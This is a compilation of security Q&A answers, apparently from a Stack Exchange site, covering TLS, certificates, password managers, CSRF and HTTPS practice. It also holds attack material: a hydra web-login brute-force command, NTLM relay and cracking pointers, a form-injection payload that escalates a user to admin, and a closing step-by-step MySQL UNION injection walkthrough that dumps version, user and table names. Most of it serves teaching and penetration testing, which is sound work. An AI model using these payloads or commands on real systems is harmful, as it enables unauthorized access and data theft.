Maybe your company forced you (or in this case, your coworker since she was the one on the WiFi) to install a certificate in your trust store to allow them to inspect your HTTPS traffic.
If these are company phones we are talking about, they could have all sorts of monitoring on the phone in place.

If any of those points apply, your company could potentially see the whole communication - the photos, the recipients, everything.


Secure web user authentication even after server-side database compromise

If the whole server is compromised, then whatever the server can do, the attacker can, too.

Therefore, the only way to have a user authentication which resists past a total server compromise is to base that authentication on something which the user can do, but which the server cannot, but such that the server can verify that the user is doing it. This calls for a digital signature. The user should somehow store a private key somewhere on his machine, and use it to sign some sort of challenge sent by the server.

The private key should not be accessible from Javascript; otherwise, the attacker could plant some Javascript code which would retrieve the user's private key. In a Web context, digital signatures but without code sent by the server, this points at user certificates.

This can be done. Moreover, this is done (I have seen it used by some banks, issuing certificates to their customers). SSL supports client-side certificates and recent browser versions have become almost user-friendly when it comes to using them. You could even distribute smartcards (or equivalent gadgets which plug in a USB port, to make installation easier).


Metasploit: java_signed_applet attack hangs after user response

I'm not sure if this sounds dumb but have you tried clicking/running anything on the victim at the point where you are stuck?

If you have and nothing happens then this may be a bug in metasploit, you might wanna search around about it or report it to communication channels provided for bug reporting.


How to fuzz service with sending bad data?

If the server has a poorly implemented buffer somewhere, it may cause a crash if the data exceeds what the buffer was initially set up to expect. In low level languages in C++, it is easy to set up poorly defined buffers this way, and a crash is good evidence that an exploitable error might exist.

https://www.owasp.org/index.php/Buffer_overflow_attack

(from the above)

 #include <stdio.h>
  int main(int argc, char **argv)
  {
  char buf[8]; // buffer for eight characters
  gets(buf); // read from stdio (sensitive function!)
  printf("%s\n", buf); // print out data stored in buf
  return 0; // 0 as return value
  }

If the actual input exceeds 8, there will be issues, although not necessarily a crash. This is a wide topic, but the most important thing to know is that if your service is crashing on large values, then you potentially have a security issue.


Can PKCS #11 object handles be used across sessions?

Yes, object handles can be used across sessions.

Your first citation doesn't say anything about it. Its intention is to clarify that handles to the same (token) object can change between different invocations of an application, but as long as the application is running and a session exists it won't change.

The third citation clarifies that a handle casted to an int can appear both as session and object handle at the same time. Here in step 12, object handle 7 is returned but session handle 7 already exists. Kind of obvious.

Your second citation gets closer since the UG also says:

  Different threads of an application should never share sessions

But your fourth citation should make it clear since in step 16 handle 1 is returned for object O2 in session 4, and in step 18 this handle 1 is used in session 7 and in fact object O2 is modified!


If it's a reflected XSS vulnerability, many modern web browsers have features that prevent it from executing.  I believe if you look in your console it will display a message if it detected malicious input and prevented it from executing.

Take a look at this question for more info.

I believe it's possible to disable this feature if you start chrome from the command line and pass in the --disable-xss-auditor flag.


Is posting from HTTP to HTTPS a bad practice?

OWASP states:

(copied verbatim from http://www.owasp.org/index.php/SSL_Best_Practices)

  Secure Login Pages
  There are several major considerations for securely designing a login page. The following text will address the considerations with regards to SSL.

  Logins Must Post to an SSL Page
  This is pretty obvious. The username and password must be posted over an SSL connection. If you look at the action element of the form it should be https.

  Login Landing Page Must Use SSL
  The actual page where the user fills out the form must be an HTTPS page. If its not, an attacker could modify the page as it is sent to the user and change the form submission location or insert JavaScript which steals the username/password as it is typed.

  There must be no SSL Error or Warning Messages
  The presence of any SSL warning message is a failure. Some of these error messages are legitimate security concerns; others desensitize the users against real security concerns since they blindly click accept. The presence of any SSL error message is unacceptable - even domain name mismatch for the www.

  HTTP connections should be dropped
  If a user attempts to connect to the HTTP version of the login page the connection should be denied. One strategy is to automatically redirect HTTP connections to HTTPS connections. While this does get the user to the secure page there is one lingering risk. An attacker performing a man in the middle attack could intercept the HTTP redirect response and send the user to an alternate page.

To repeat:  Login Landing Page Must Use SSL


Security while casting my YouTube on a smart TV

No. The TV is not authorised to access your account and your account token is not given to the TV in order to display. The stream from your authenticated account is redirected to the TV.


How do services with high uptime apply patches without rebooting?

There are various utilities in different operating systems which allow hot-patching of running code. An example of this would be kpatch and livepatch features of Linux which allow patching the running kernel without interrupting its operations. Its capabilities are limited and can only make trivial changes to the kernel, but this is often sufficient for mitigating a number of critical security issues until time can be found to do a proper fix. This kind of technique in general is called dynamic software updating.

I should point out though that the sites with virtually no downtime (high-availability) are not so reliable because of live-patching, but because of redundancy. Whenever one system goes down, there will be a number of backups in place that can immediately begin routing traffic or processing requests with no delay. There are a large number of different techniques to accomplish this. The level of redundancy provides significant uptime measured in nines. A three nine uptime is 99.9%. Four nine uptime is 99.99%, etc. The "holy grail" is five nines, or 99.999% uptime. Many of the services you listed have five nine availability due to their redundant backup systems spread throughout the world.


most keys I've seen begin with 0x

I assume you are referring to the Key ID, and the 0x is not part of the actual key ID, but merely a display option indicating that the string of digits are hexadecimal (which all Key ID's are, including yours, regardless of whether they are prepended with "0x").

Should I create again this key?

No. The key is fine.
If you want GnuPG to display your keys with the "0x" you can add the option keyid-format 0xlong to your gpg.conf file.
If the gpg.conf file is not already present in your home directory's .gnupg/ directory, you can create it with bash:
echo 'keyid-format 0xlong' > $HOME/.gnupg/gpg.conf


OpenSSL, x509: what is the correct way to picture signing authorities?

In X.509 certificates, there are Certification Authorities and End Entities. A CA is a system/organization which owns a public/private key pair and uses it to issue certificates, that is, sign them. A certificate binds an identity to a public key, and the job of the CA is to assert such bindings. You use the public key of a CA to verify the signature on a certificate. The public key of a CA can, in turn, be bound to the CA name by virtue of them being stored in a certificate, signed by a super-CA. This process is recursive, so you will end up, in practice, with certificate chains beginning with a "ultimate CA" (normally called "root CA" or "trust anchor") that you trust ex nihilo (it is hardcoded in the software or its configuration files), then a number of certificates, each containing the public key used to verify the signature on the next. All the certificates in the chain are necessarily CA certificate, except possibly the last one.

The last certificate in the chain is then called "end-entity" because it designates a system/organization which is not in the business of issuing certificates, but is "something else", for instance a VPN server. Since the end-entity key is not used to sign other certificates, the end-entity certificate necessarily appears last in the chain, hence its name.

In a VPN, there are end-points and gateways. A gateway is a machine which accepts connections from other systems (end-points, and other gateways), and forwards traffic on behalf of the connected system. An end-point does not indulge in forwarding; it sees only its own inbound and outbound traffic. The StrongSwan documentation begins with a rather self-explanatory diagram. End-points are application servers and desktop computers, while gateways are structural elements which route data.

Gateways (and, possibly, some end-points) need private/public key pairs, and the other systems must be able to verify that a given public key is indeed owned by a specific gateway or end-point. This calls for PKI and certificates. All these gateway and private/public key pairs are used to "do VPN", certainly not to issue certificates for other people, so they are all end-entities, as far as X.509 is concerned.

Certification and VPN structure are orthogonal. The certificates are used to assert bindings between names and public keys. There is no need for a CA to be located on a server which is also a router or gateway; there is actually no need for a CA to be online at all. Also, there is no need for a gateway to act as a CA: the gateway is meant to forward network traffic, not to make statements on the identity of other systems. You can conflate both roles and make a gateway also a CA, but this is very artificial, it is not needed in any way, and it will increase confusion.


ssl_error_bad_certificate_domain, does Firefox still validate the certificate?

It sounds like you haven't included a subjectAltName section in your self-signed certificate, listing all the domain names and IP addresses under which you'll access the NAS device.

Even though Firefox has been told to disregard that this certificate has no trusted issuer, it still can't confirm that the URL you're using is covered by your security exception.


How to erase/change all unique identifiers of a computer's identity?

The list is far more extensive than you have already identified - there's explicit history, sound processor fingerprinting, timezone, time drift, HTTP cache content, HSTS history....even if you could assemble a comprehensive list today, it will grow tomorrow.

(That you have not included the most obvious user agents, referers and cookies in your list makes me think you need to up your game a lot to be able to use this information effectively.)

I suspect you'll find that your adversaries are not using all this data to identify you - indexing and resolving the data would be far too expensive. They will use a hash of the data as an identifier; so mapping out every possible opportunity for tracking is of limited value in designing countermeasures.


aWallet specifically: don't use it. The creator obviously doesn't know what they are doing. I'll just pick out one concern (there are several that will probably be more obvious to People Smarter Than Me): it could encrypt your database in ECB mode (sometimes, but not always).

ECB mode is notably not secure because the same plaintext always encrypts to the same cypher text. Therefore, ECB mode "does not hide data patterns well...it doesn't provide serious message confidentiality, and it is not recommended for use in cryptographic protocols at all".

Password managers in general: use one. But pick a well-known one with good reputation like 1Password, LastPass, KeePass, Dashlane, etc. Or at least use one created or recommended by a well-known security company or security researcher if you don't know where else to look. A good password manager with competent encryption (not aWallet apparently) is perfectly safe to keep on cloud storage, provided your master password is strong.

Edit: OK I can't resist picking a few other points that jump out at me to scream "stay away":

Regarding transforming the master password to an encryption key: "The result is hashed 1000 times by SHA-256." This is laughably insufficient. Done properly they would at a minimum use PBKDF with 10,000 rounds or more rather than a custom-made hash loop of only 1000. Even that would be barely sufficient, and would compare poorly to properly implemented password managers. Hundreds of thousands or more rounds would be more like it. Or abandon SHA-based password hashing and use something like bcrypt or argon2. This software cannot compare to modern tools.
"Supports auto destruction of the data file after a predefined number of unsuccessful unlocks have been tried." This doesn't affect an attacker at all. The only person this can hurt is the legitimate user. An attacker will make a copy of the database or use modified software to remove the guess limit. You on the other hand can accidentally lose all your passwords, never to be seen again, by accidentally having capslock turned on, or a dead key, or something like that.


I get the feeling that Microsoft and Mac use two different forms of AES

There are several weird things in your setup:

ECB mode does not use any IV. You should not specify an IV when using ECB mode. Or, rather, you should not use ECB, which is weak (generally speaking).
AES processes binary input, produces binary output, and uses a binary key. There is no character string whatsoever in AES; thus, any notion of encoding like UTF-8 should be completely irrelevant and out of scope. If you need to specify an encoding, then this means that there is some character string which is converted to bytes or back, and that can be a source of your problems.
What you call "bit size" is obscure. A bit is a bit. Maybe you mean "block size". AES uses blocks of 128 bits, always.


Would it be possible to verify ownership of digital currency without a network connection to an authority server?

A system somewhat like you suggest is used for transport payment systems, like Oyster Card in London. The cards are (supposedly) tamper-proof hardware, and the balance is held on the card. There is a centralised system, but if the network goes down, Oyster can function offline.

The main security control is the physical security of the cards themselves, and I expect there is also fraud detection in the centralised system. There have been claims of hacks but it's not widespread - presumably the limited value of the cards reduces interest in hacking, and if you travel with a fraudulent card, you are risking arrest. Still, I think it is testament to the system that there have not been more attacks.

Bitcoin has a different objective. It is an online currency (like PayPal, or inter-bank clearing systems) - but it has no centralised system. The genius of Bitcoin is that they figured a decentralised way to perform the role of the centralised system. This comes at some cost - all the Bitcoin mining rigs whirring away around the world - but people clearly think it is worthwhile.

When thinking about securing these systems, you need to distinguish between design goals and implementation flaws. You mention that Bitcoin has had some double spending vulnerabilities. This may be true, but the design goal of Bitcoin is that double spending is impossible, and in general it is very good at meeting that goal. Any vulnerability that allows double spending will be fixed by updating the implementation. It's the same for Oyster - the design goal is that double spending is impossible, but there have been some implementation flaws.


Looking for some sort of system wide auditing tool

I recommend OSSEC, and or (mentioned by Schroeder) Tripwire. However, I also recommend principle of least privileges. If you have your developers all using escalated privileges to do their work, I emphasize placing them in groups, and using sudo. For added measures, I'd add timestamps to bash history files where applicable. This will enable you to track what commands occurred at what time (if users don't erase their history but that too can be addressed)


Gmail and/or Flipkey-Tripadvisor account hacked, how to prevent in the future

Step One: Attempt to secure you computer, if an attacker has compromised your computer they could be using key-logging software to capture your passwords or remotely control your session:

Run two virus and malware scans, from well know, trusted vendors.
Remove any unused software.
Remove any unused extensions or plugins from your browser.

Step Two: Ensure your gmail account is configured securely. Most password reset functionality trusts only you can access your email account. If someone has access to your email account they will be able to access most of your accounts.

Change the password
Set up two factor authentication on your account.
Check which application have what permissions to your google account via https://security.google.com/settings/security/permissions?pli=1

Step Three: If you have any Android devices associated with this gmail account, review which app's you have installed and what permissions these have. Remove any app that your don't use or has more permissions then it requires.

Step Four: Check your security settings in FlipKey, I don't know FlipKey so this are general advice:

If you can change the login provider to one of the big names do so. (logon with [Google, Facebook, Yahoo, etc].
Otherwise change your password, and if FlipKey provides two factor authentication enable this.
Have a look through your account page and see what other security features FlipKey provides.

If after this you still have an issue I would follow the advice of @AntoniusBloch and use a separate computer to change your passwords again and wipe your computer, and reinstall.


Best practices to implement HTTPS in embedded devices

Points 1 and 2 are addressed by buying a certificate from a trusted CA.

As for your second point -

  If the private key of the device was compromised, an attacker should not be able to use this key to perform MitM attack against another device

If you can find a way to do this, you'll be very rich.

  or another web page.

Eh? I don't understand.

While the devices of this type I have used in the past have shipped without a cert, they provide a means for deploying the cert (and private key) to the device. Certainly you can't trust a certificate supplied with the hardware unless you sent the certificate singing request to the supplier (and retained the private key).


Ciphertext-only vs known-ciphertext attack

A quick check of Wikipedia indicates they are the same thing as I suspected just from their names.  This isn't very scientifically citable, but I would assume for the cryptographic community this would be common knowledge.


Is a HTML form tag more exploitable than a HTML link in user submitted content?

Yes, it is. By how much, and if it would be ok for you to allow forms depends on your specific situation.

CSRF with referer checks

If your CSRF protection depends on referer checks, not on a token, allowing forms means that you would be vulnerable to CSRF.

As you disallow scripts, a victim would still need to actually click the form, but that can be achieved via social engineering or maybe ClickJacking.

For example, an attacker could place a paypal button, which would actually add a new admin user, in the hopes that you click it.

Of course, this is also possible with links, but only for GET requests, not for POST requests.

CSRF with existing forms

It sounds that your filter is a general filter, filtering out all possibly dangerous tags. But there are specific situations where you definitely do not want form tags, eg when echoing user input inside forms.

If you eg have a user edit form like this in the admin backend:

<form action="admin_user_edit.php">
    <input type="text" name="csrf-token" value="[CSRF token]">
    <input type="text" name="password" value="[value from database]">
    <input type="text" name="username" value="[value from database]">
    <input type="text" name="role" value="[value from database]">
    <input type="submit" value="Submit">
</form>

Now, a user could name themselves foobar"><input type="hidden" name="role" value="admin"><input type="submit" value="Submit"></form>. If they now get the admin to edit their profile, they would be admin, without the admin wanting to make them admin.

Phishing

A form could also be used for phishing attacks. This again depends on the specific context where your user input is put, but theoretically, an attacker could for example display a form asking for login credentials, credit card details, etc, and then send them to their own server.

The hope is that the victim would not interpret the form as user input, but as belonging to your website.


For zero-deployment via GitLab Piplines - What kind of unix User?

The basics
Yes, if you store access credentials for your server in Gitlab, and Gitlab gets hacked, then your server may get hacked.  If the user who is deploying your application needs root access, then you have no choice but to give root access to gitlab (or adjust your application so root access isn't necessary).
User access level
You seem to be specifically concerned about giving Gitlab root access to your server.  While that certainly should be avoided if possible, this isn't necessarily the largest concern.  After all, if the only thing your server does is host your application, then someone who breaks in as the deployer user already has access to everything of interest.  At that point in time making the user root as well doesn't really make it that much more dangerous.
The next step
In an ideal world it wouldn't be a question of "servers" anyway.  For instance, if you are running on a dedicated server somewhere then having root get compromised can certainly be a pain.  However, if you go a step farther along and are having a VPS or a Kubernetes cluster provisioned from (say) a Docker image, then having any one "server" compromised is less of a hassle.  You simply fix up the root issue that caused the compromise and re-deploy on brand new "servers".  Obviously breaches are always bad and I'm not trying to say otherwise, but my point is that in well run infrastructure there can be much less concern about "servers", which is a good thing.
Should you put access keys in Gitlab?
Whether or not the risk of having your Gitlab account compromised is something you should worry about is a question that only you can answer.  Here's the question you need to ask yourself: "Is the benefit of automating my deployments worth the additional risk of my server being compromised?"
This is effectively a simple risk assessment.  Of course to answer that you need to know the likelihood of a compromise, which is harder to answer.  To be clear though, Gitlab itself being hacked is (IMO) less likely than security mistakes on your part, i.e.:

Make sure you are using a strong unique password on Gitlab
Enable a secure 2FA account
Make sure you follow best practices regarding storing secrets for CI/CD scripts

Also keep in mind that this is only one of many possible ways a server can be compromised.  Making sure that your CI/CD pipeline is well secured is only one priority, and if at the same time you have an open FTP server running on your server, or your application isn't following the basics of application security, then you have bigger fish to fry.
In the end though, only you can decide if this extra automation step is worth the increased risks for you.


Cracking a web form based logon with hydra

Basically, you need to specify two things:

Where the username and password go.
How to determine success/failure of the request.

The first is accomplished with tokens like ^USER^ and ^PASS^ in the URL where they are to be replaced by the usernames and passwords under test.  The second is done by hydra by string matching against the returned page.  You can either test for a failure condition, such as "Bad password", or a success condition, such as "logged in".

Here's an example:

hydra 127.0.0.1 http-form-get '/test/login.php?username=^USER^&password=^PASS^:Bad password'

You can also test for a cookie being set with C=cookie_name or an HTTP header with H=header_name in place of "Bad password" for the test condition for a successful login.

In case the login form uses POST, rather than GET, (as many do) you should use the http-form-post "protocol".  You'll also need to use : to separate the URL and the POST parameters, rather than the ? in a query string.  There's also https variations, which are (unsurprisingly) prefixed with https-, rather than http-.


How to protect integrity of resource files in a white-box attack context?

You can't.

Once you hand a user a device, it is theirs to do what they wish with. Even if you enforce it in hardware, a smart and well-equipped user would still be able to determine a work-around. This is the same principle that stops DRM from being effective.

If your security model relies upon integrity of a file being maintained regardless of malintent by the real owner of the device, then you need to change your security model. As someone once said: "a computer is only as secure as its administrator is trustworthy"


Encrypt web.config file using Data Protection API

It depends.

If the attacker gains access to your web.config alone, then he's not able to decrypt it without the key, which we're assuming he doesn't possess.
If you've set useMachineProtection to true in your DpapiProtectedConfigurationProvider configurations, and the attacker gains access to your machine (remote or not) with any account, then any process running on the machine could decrypt the web.config file, including anything the attacker could run.
If you've set useMachineProtection to false in your DpapiProtectedConfigurationProvider configurations,  then the attacker needs access to the user account used for the process (remote or not).

You need to know that DPAPI provides password-based protection. So, assuming you're using option #3, then even if the attacker gains physical access to the machine, they still need the account's password to decrypt encryption keys which will decrypt the data. Of course, the attacker can easily reset the password, but that would render the encrypted keys useless and leaves your data inaccessible.

Note that until .Net 3.5 SP1, useMachineProtection is set to true (bad) by default. I have no information on later versions.

Update: .Net 4.0 uses the default value true for useMachineProtection as well.


Does TLS rotate the shared secret periodically?

The client or the server may request a renegotiation at any time.  That renegotiation would include a new shared secret.

The Server can send a Hello Request to trigger renegotiation (emphasis mine):

  The HelloRequest message MAY be sent by the server at any time.

  Meaning of this message:

  HelloRequest is a simple notification that the client should begin the
  negotiation process anew.  In response, the client should send a
  ClientHello message when convenient.

To quote RFC 5246 on Client Hello (empasis mine):

  When a client first connects to a server, it is required to send the
  ClientHello as its first message.  The client can also send a
  ClientHello in response to a HelloRequest or on its own initiative in
  order to renegotiate the security parameters in an existing
  connection.

How likely an application is to request renegotiation is going to vary, but (unscientifically) I expect the answer is "most won't ask."  But it can be done.


How can I add a layer of security to cleartext passwords and SSL?

If you believe in layers, then add some layers. For instance, run your SSL within another SSL, and arrange for the two SSL layers to use distinct algorithms (e.g. the outer SSL works on AES encryption and an ephemeral Diffie-Hellman key exchange, while the inner SSL uses RC4 encryption and RSA-based key exchange). This is undoubtly layered, and, as far as layers go, probably the best that you can get (notably, it is relatively obvious that you do not harm your security that way).


Are there any ways to leverage NTLM V2 hashes during a penetration test?

You can relay or forward an NTLMv2 response but the attacks may require scenario planning and/or tool changes. There may be advanced ways of cracking the hashes that you haven't yet thought about as well.

For further information on relaying, check out --

http://www.room362.com/2014/05/effective-ntlm-smb-relaying.html
http://blog.spiderlabs.com/2014/02/responder-20-owning-windows-networks-part-3.html
http://pen-testing.sans.org/blog/pen-testing/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python

For a list of nearly 50K NTLM hashes (of which less than 15K were successfully cracked by the competing teams) that were part of the largest cracking contest in history, see the "Crack Me If You Can" (CMIYC) 2014 DEFCON Contest -- http://contest-2014.korelogic.com

In particular, you may want to look at the previous 2010 contest's open set of wordlists and rules. I also found this blog post useful for combining techniques as well as a methodology to password cracking highly-focused on NTLM in modern environments -- http://winterspite.com/security/information-assurance-and-password-policies/

For pre-generated rainbowtables that cover the NTLM space, check out -- http://objectif-securite.ch/en/ophcrack.php


Why are self signed certificates not trusted and is there a way to make them trusted?

You need to import the root certificate into the trust store for the browser. Once the browser knows you trust this root certificate, all certificates signed by this will show up as trusted.

Note that this will only make the connection trusted for you, any others who don't have the root certificate installed will still receive an error.


Are deleted WhatsApp (or similar) messages recoverable?

Yes, it is possible, but like with many security questions it depends on the circumstances.

Generally the messages can't be recovered because WhatsApp state that they do not store chat histories on their servers.

If the message has been backed up using either iCloud Backup (for iOS devices) or Google Drive (for Android devices) then the message can be recovered when the user uninstalls WhatsApp and restores the backup.

To restore using the Google Drive method the user would need to restore to a local backup from the local WhatsApp database. This can be found in the WhatsApp > Database folder on the device. The filename is msgstore.db.crypt12 and there shoudl be various msgstore-YYYY-MM-DD.1.db.crypt12 files.

If the device is Android then it may also be possible to recover the message using a data recovery program such as Android Photo Recovery which utilises USB debugging mode to scan the device from a PC or a Mac.


How can I control the content of the HTTP HOST header in requests issued from my website?

If you want the user to issue the request, then it is not possible to do this with an XMLHttpRequest:

Terminate these steps if header is a case-insensitive match for one of the following headers:
Accept-Charset
Accept-Encoding
Access-Control-Request-Headers
Access-Control-Request-Method
Connection
Content-Length
Cookie
Cookie2
Date
DNT
Expect
Host
Keep-Alive
Origin
Referer
TE
Trailer
Transfer-Encoding
Upgrade
User-Agent
Via

However, this did used to be possible in Flash due to a bug in versions 7 and 8 when used in combination with IE:

In IE, it is also possible to overwrite some more sensitive
headers (e.g. Host and Content-Length) by appending colon to the
header name (this technique was described in [3] in the context
of XmlHttpRequest):

req.addRequestHeader("Host:","foobar.site");


The important part of your questions is that it's a API and not a web application. The security needs for an API  returning XML is very different from those of a webb application returning a mix of HTML, JS, etc.

So let's look at the headers one by one, with an API perspective:

HTTP Strict Transport Security (HSTS)
HSTS is in general a good thing that should be encouraged. It prevents SSL-strip attacks. But those are only possible when the user enters the URL (without protocol) into the URL-bar of a browser. That is not how you (normally) consume a SOAP API. So if all your URLs are hardcoded with HTTPS, the benefits of HSTS are slim.
X-Frame-Options
This controls if your page can be displayed in a frame or not, and is intended as a way to prevent attacks like clickjacking, etc. This is not an issue for an API (why would loading XML into a frame ever be beneficial to anyone...), so it is not an issue.
X-XSS-Protection
If you return XML (as a SOAP API does), there is no JS execution so XSS isn't really an issue. So this header isn't useful. (That doesn't mean you don't have to think about injection attacks, though.)
X-Content-Type-Options
This is used to prevent MIME type sniffing, which is mainly an issue when you serve files uploaded by users. Thats normally not what an API does, so I wouldn't worry about this one either.
Content-Security-Policy
This sets what can and can not be included in a HTML document. If you are serving XML that is of no interest. So again, not applicable.

See the pattern here? Most of the headers (possibly with the exception of HSTS) doesn't really apply to API:s because the threats they counter are not relevant for an API.


Is exposing enumerated id's a bad idea if precautions are taken?

But, is it a bad idea to directly expose these studentId's, or any
  enumerated id for that matter?

If effective logic is applied to data retrieval such that each session is tied to a student ID and no one other than the session can retrieve the data about the courses he is in. In that condition, there is no problem in using incrementing ID'S in a URL such as website.com/student/{studentId}/courses


Eliminating possible watermarking done by text editors

On which text editor is it easiest to prevent and/or eliminate watermarking?

It's impossible, or nearly so, unless you know the correct text. Watermarking is in general a mark that can be used to distinguish a single copy afterwards. This may be as simple as  having two spaces in a text; edit this answer and you will see that.

Other ways may be replacing some words. For instance, I can replace "I had pasta for lunch today" with "I had fish for lunch today", and without knowing if the text exists in other forms, you have no way of telling. To me, as author, it would be trivial to pinpoint whom had leaked, if every recipient got a unique text, yet impossible for any one recipient to discover it, without talking to other recipients.

Another good alternative would be to somehow misspell a word here and there. This may look accidential to the receiver...

That said. If you want to exchange text, exchange text. Not word files or any other obscure, possibly binary format. Heck, word files can even include active content such as Visual Basic Macros!

If formatting is desired, I'd suggest some open, verifiable formatting, such as markdown or HTML.


Are Visual Studio Extensions audited?
No. Extensions are not audited by default. This Walkthrough describes the process of publishing an extension. As can be seen in step 9, the extension can be immediately published after the upload has completed.
How can I check what an extension does?
Visual Studio Extensions are delivered in the VSIX format, which is an archive format that can be extracted using 7zip. Technically, it is an OPC file as described here.
The archive itself contains several files to describe the extension, as well as a .DLL file with the actual code. From there on, you are reverse-engineering a .NET library like any other.
Can I trust that other people would do it for me?
Possibly, but you can never be 100% sure. Statistically, it's more likely that an extension that does one tiny thing and has 1 million downloads has been looked at by someone, than an extension that does God-knows-what and has 23 downloads.
However, you then essentially just shift the problem, and ask yourself how much you can trust those random strangers, as opposed to a different set of random strangers.
What can I do if I find a malicious extension?
When you look at the Visual Studio Extension Marketplace, you see a report button on the right side of the screen:

This is actually a mailto:// link to the address vsmarketplace@microsoft.com, where they ask you to provide a brief description of the issue. I never had to report an extension myself, so I cannot make a statement if any how quickly they would respond to an issue.


Minimum SHA256'd UTF8 encoded passphrase length not stored anywhere

Of course I cringe at the idea of a simple hashing over a passphrase, but let's assume that it is actually OK in your setup.

The direct answer to your question is simple: practically, there are no collisions in SHA-256, regardless of input length. If you input two distinct sequences of bytes (e.g. two passphrases), you will get two distinct output. Mathematically, we know that collisions MUST exist (SHA-256 input space is larger than the output space), but we found none yet, and the best known methods for finding collisions have average cost 2128, i.e. a lot more than is feasible with existing technology.

Input length and encoding have nothing whatsoever to do with the subject. How you imagined that input length, furthermore minimum input length, or encoding, had an impact on collisions, is a mystery to me -- so I have to assume that you do not worry about SHA-256 collisions. Instead, maybe you worry about the probability of two distinct people coming up, out of (bad) luck, with the same passphrase ? (SHA-256 being there a red herring.)

If that is your actual question, then it depends on the process by which the passphrases are generated, which has only a very distant relationship with the passphrase length. See this answer for details on how to calculate entropy (because an entropy of "n bits" roughly translates to a probability of collision of about t2/n, as per the birthday problem).


Learning XSS: Why is my javascript ignored?

With the comments removed, your code looks like this:

<a href='mailto:'>*/</script>

This results in a syntax error, which prevents the code from running.  Particularly, the "" is problematic, triggering a SyntaxError for "Unexpected string."


Why is HTTPS seemingly so infrequently used internationally (Asia)?

I would say the US embargo and the cultural differences played a significant role, but there's also an undeniable level of sloppiness or lack of security awareness.

Though 40-bit SSL encryption has been available in Netscape since about 1995, many foreign banks who pioneered online payments might not have considered it safe enough. They often opted to use browser plugins to provide better encryption. The most famous is the Korean SEED system.

There's also a potential cultural thing where Asians like more ways of expressing themselves, so technical enhancements like emoticon, Flash and plug-ins/applets are potentially more acceptable. Due to competition, if one bank is offering a plug-in to secure online transactions, the others will likely follow suit. Since the banks are taking over the responsibilities, the merchants potentially invest less in security.

However, this does not completely explain why non-e-commerce sites do not use HTTPS. It is possible they looked at their banks for best security practice and noticed HTTPS was not being used. Maybe the general cyber-security education are not at the level of the western world yet. Maybe there are fewer high-profile attacks to Asian companies. Maybe the cost of obtaining a certificate is just to high (with local dealer fees and translation) for small/medium businesses. Maybe privacy laws are weak or nonexistent in certain countries and businesses have nothing to lose providing no encryption. Maybe because hosting is more expensive in Asia (you see a lot of HTTPS redirecting to HTTP).

The truth is we may never know, but come the day when most websites are HTTPS, it will be hard to find any site not supporting it anywhere in the world.


How can utilities with setuid set to root be secure if they are debuggable?

Normally, when su runs, it runs setuid (as root). When you start it with gdb, the setuid bit doesn't take effect (because it's being ptraced), so even if you convince it that you entered the right password, it won't have permission to actually give you a new UID. The reason for this is to mitigate the exact attack you describe.


Normally when you dont know the source of the link, my recommendation is to use a third party service (that checks domain and uri reputation) and use it in order to get information about that link. There is online services that gives you that service. If you can not get information of the URL just basically dont click and drop the email, if a real company wants to send you a reasonable work offer they will use a proper email with valid information.
You can use the google report one http://google.com/safebrowsing/diagnostic?site="my url to analyze"


Variable Assigned to Object Injection Sink (security/detect-object-injection)

No, your code is safe. The problem here would be if the user could control what's inside the square brackets (c in this case). An attacker could then provide something unexpected, like the name of a method on the prototype chain. This in turn could trigger all sorts of unpredictable behaviour, potentially with security implications.

But in your case c will always be a number, so you are fine.


Is it acceptable for an internal HR site to run over HTTP?

The main motivation for HTTPS is to prevent an attacker from reading and manipulating your communication with a website. So the decision to deploy it on internal sites depends on whether there is a risk of someone tampering with your traffic inside the company network.

If the internal HR site just serves static content that is already accessible to anyone in the company's intranet, then one could argue that HTTPS doesn't add any security because intercepting traffic to that page within the internal network would be pointless.

However, if the site uses a login system and employees aren't trusted to not interfere with the internal network or guests are allowed to access it - then the site should always be accessed over a secure connection.

  it's a site we log into (using a password we're forced to keep to max 8 lower-case characters only), where we can view wage slips, personal address / contact details etc.

That is concerning. Not only is the artificial password length limit really low and the lowercase-only restriction questionable. If the site uses plain HTTP, a rogue co-worker (or malware on their machine) could intercept your connection to the page, sniff your password and record your interactions with that site. Since you're saying it's a big company, not everyone accessing it might be completely trusted and hence they should consider deploying HTTPS.


Terminology question - authentication through encryption

The generic term is proof of possession.
It's most commonly used for a private key, where a prover needs to convince a verifier that the prover knows a certain private key. The most natural way to do this is for the verifier to send a challenge to the prover, and the prover signs this challenge with the private key. The verifier uses the public key to verify the signature. Only a party who knows the private key can produce a valid signature. The challenge should be unique, because otherwise an adversary who intercepted a response could replay the signed message without knowing the private key. It's also possible to generate a proof of possession by having the verifier send a challenge encrypted with the public key and the prover decrypt it and send it back.
From RFC 2797 — Certificate Management Messages over CMS:

"POP" is an acronym for "Proof of Possession".  POP refers to a value that can be used to prove that the private key corresponding to a public key is in the possession and can be used by an end-entity.

More generally, the term can be used with symmetric keys as well. For example JWT defines a proof of possession protocol for both asymmetric and symmetric keys.


Is there any risk in adding exceptions in the antivirus software for paths that are only writable by Administrator?

The risk is only one where malware is installed to said paths. This may be possible if you are using an installer which itself is benign and which asks for administrative privileges, but which installs malicious executables or libraries (for example installers that are bundled with adware). If you trust anyone who enters the administrator password to not install anything malicious, by accident or otherwise, then there should be no downside to whitelisting paths that only the admin can write to.


Dumping custom query via SQL injection when output is in the die() function?

You need to figure out if the parameter is being parsed as an integer or a string (most probably as string). If the query is balanced and successful, It won't die().
try ..

1' order by 1-- -

or ..

1 order by 1-- -

If the first one returns an error, that means the parameter is being parsed as an integer so you don't need a quote (') to perform the injection.

Now, there are many different ways to dump the data here. But I'd prefer the following two:

First:

You need to check how many columns are there in the query before the injection point. You can try the order by clause here. Start with the highest number. For example:

1' order by 1000-- -

It'll throw an error.

ERROR 1054 (42S22): Unknown column '1000' in 'order clause'

Now, start decreasing the count. You'll know the exact column count when the query is successful. Let's say there are 5 columns.

1' order by 5-- -

So, this won't throw an error.

Now, just append a UNION query with 5 columns and negate (and 0) the actual query.

1' and 0 UNION SELECT 1,2,3,4,5-- -

If everything goes right, you'll see the vulnerable columns on the page. Lets say the vulnerable column that appears on the page is '3'. You can dump the data in this column.

1' and 0 UNION SELECT 1,2,(SELECT version()),4,5-- -

or ..

1' and 0 UNION SELECT 1,2,(SELECT user()),4,5-- -

If MYSQL version is greater than 5, You can do this to dump the table names.

1' and 0 UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=database()),4,5-- -

and so on ..

Second:

You can also dump the data in the error itself. There are many ways to do that but I prefer MYSQL XML functions.

